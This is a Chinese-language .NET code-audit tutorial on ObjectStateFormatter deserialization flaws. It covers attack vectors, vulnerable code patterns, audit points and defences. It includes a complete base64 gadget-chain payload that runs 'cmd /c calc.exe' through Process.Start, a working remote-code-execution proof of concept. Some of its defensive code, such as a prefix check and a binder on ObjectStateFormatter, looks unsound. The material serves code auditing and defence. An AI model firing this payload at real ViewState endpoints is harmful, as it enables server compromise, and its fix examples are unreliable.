.NET高级代码审计(第十课) ObjectStateFormatter反序列化漏洞
字数 1357 2025-08-18 11:38:28
.NET ObjectStateFormatter 反序列化漏洞深度分析与防御指南
1. ObjectStateFormatter 概述
ObjectStateFormatter 是 .NET Framework 中的一个类,位于 System.Web.UI 命名空间,主要用于序列化和反序列化状态对象图。它的典型应用场景包括:
- ASP.NET ViewState 的序列化处理
- 对基础类型存储在 Pair、Hashtable 等数据结构中的快速序列化
- 状态持久化和传输
2. 序列化机制
2.1 基本序列化示例
定义一个测试类:
public class TestClass
{
public string Name { get; set; }
public int Age { get; set; }
public string Address { get; set; }
public static void ClassMethod()
{
Process.Start("calc.exe");
}
}
序列化过程:
TestClass test = new TestClass
{
Name = "Ivan1ee",
Age = 18,
Address = "Beijing"
};
ObjectStateFormatter formatter = new ObjectStateFormatter();
byte[] serializedData = formatter.Serialize(test);
3. 反序列化漏洞原理
3.1 基本反序列化
ObjectStateFormatter formatter = new ObjectStateFormatter();
TestClass deserialized = (TestClass)formatter.Deserialize(serializedData);
3.2 漏洞成因
ObjectStateFormatter 实现了 IFormatter 接口,与 BinaryFormatter 类似,在反序列化不受信任的数据时存在安全风险。攻击者可以构造恶意序列化数据,在反序列化时执行任意代码。
4. 攻击向量分析
4.1 ActivitySurrogateSelector 攻击
这是最有效的攻击方式,利用步骤如下:
- 构造一个恶意类,实现
ISerializationSurrogate接口 - 使用
ActivitySurrogateSelector将其包装 - 序列化恶意对象
- 当目标反序列化时触发代码执行
攻击代码示例:
// 构造恶意序列化数据
MemoryStream memoryStream = new MemoryStream();
ObjectStateFormatter formatter = new ObjectStateFormatter();
formatter.Serialize(memoryStream, maliciousObject);
byte[] payload = memoryStream.ToArray();
// 受害者反序列化
ObjectStateFormatter victimFormatter = new ObjectStateFormatter();
object obj = victimFormatter.Deserialize(payload); // 触发RCE
4.2 PSObject 攻击 (CVE-2017-8565)
此攻击利用 Windows PowerShell 的漏洞,但在已打补丁的系统上不可行。关键点:
- 需要系统未安装 KB4025872 补丁
- 利用 PowerShell 的序列化机制
- 可导致远程代码执行
5. 漏洞利用实践
5.1 典型漏洞代码模式
不安全的反序列化代码示例:
// 方式1:直接反序列化用户输入
public void DeserializeData(string input)
{
ObjectStateFormatter formatter = new ObjectStateFormatter();
object obj = formatter.Deserialize(input); // 危险!
}
// 方式2:反序列化Base64编码的输入
public void DeserializeBase64Data(string base64Input)
{
byte[] data = Convert.FromBase64String(base64Input);
ObjectStateFormatter formatter = new ObjectStateFormatter();
object obj = formatter.Deserialize(data); // 同样危险
}
5.2 漏洞利用POC
以下是Base64编码的攻击载荷示例:
/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA%2BU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=
此POC会执行calc.exe弹出计算器。
6. 代码审计要点
审计时需关注以下危险模式:
-
直接反序列化用户输入:
ObjectStateFormatter.Deserialize(userControlledInput); -
反序列化来自不可信源的ViewState:
string viewState = Request.Form["__VIEWSTATE"]; ObjectStateFormatter.Deserialize(viewState); -
反序列化配置文件或数据库中的二进制数据:
byte[] configData = ReadFromConfig(); ObjectStateFormatter.Deserialize(configData);
关键审计点:
- 所有使用
ObjectStateFormatter.Deserialize()的地方 - 未经验证的ViewState处理
- 来自客户端的状态持久化数据
7. 防御措施
7.1 最佳实践
-
避免反序列化不可信数据:
// 不要这样做 object obj = formatter.Deserialize(untrustedData); -
使用替代方案:
- 对于ViewState,使用
ViewStateEncryptionMode="Always" - 考虑使用JSON等更安全的序列化格式
- 对于ViewState,使用
-
实现完整性检查:
// 使用MAC(消息认证码)验证数据完整性 public object SafeDeserialize(byte[] data, byte[] mac, byte[] key) { using (HMACSHA256 hmac = new HMACSHA256(key)) { byte[] computedMac = hmac.ComputeHash(data); if (!computedMac.SequenceEqual(mac)) { throw new SecurityException("Data tampering detected"); } return new ObjectStateFormatter().Deserialize(data); } }
7.2 代码修复示例
安全的反序列化实现:
public object DeserializeSafely(string input)
{
// 1. 验证输入是否来自可信源
if (!IsTrustedSource(input))
{
throw new SecurityException("Untrusted source");
}
// 2. 使用允许列表验证输入
if (!input.StartsWith("SafePrefix:"))
{
throw new SecurityException("Invalid data format");
}
// 3. 限制反序列化类型
var binder = new RestrictedSerializationBinder();
var formatter = new ObjectStateFormatter
{
Binder = binder
};
return formatter.Deserialize(input);
}
// 自定义Binder限制可反序列化的类型
public class RestrictedSerializationBinder : SerializationBinder
{
public override Type BindToType(string assemblyName, string typeName)
{
// 只允许特定类型
var allowedTypes = new List<string>
{
"System.String",
"System.Int32",
"MyNamespace.SafeType"
};
if (!allowedTypes.Contains(typeName))
{
throw new SerializationException($"Type {typeName} is not allowed");
}
return Type.GetType($"{typeName}, {assemblyName}");
}
}
8. 总结
ObjectStateFormatter 反序列化漏洞是 .NET 应用程序中一个严重的安全威胁,主要风险包括:
- 可导致远程代码执行(RCE)
- 常见于ViewState处理场景
- 攻击者可通过构造恶意序列化数据利用漏洞
- 漏洞利用门槛相对较低
防御策略应遵循:
- 不反序列化不可信数据原则
- 实施严格的类型检查
- 使用加密和完整性验证
- 考虑使用更安全的替代方案
开发人员应对所有使用ObjectStateFormatter的地方进行安全审计,特别是在处理来自客户端的序列化数据时。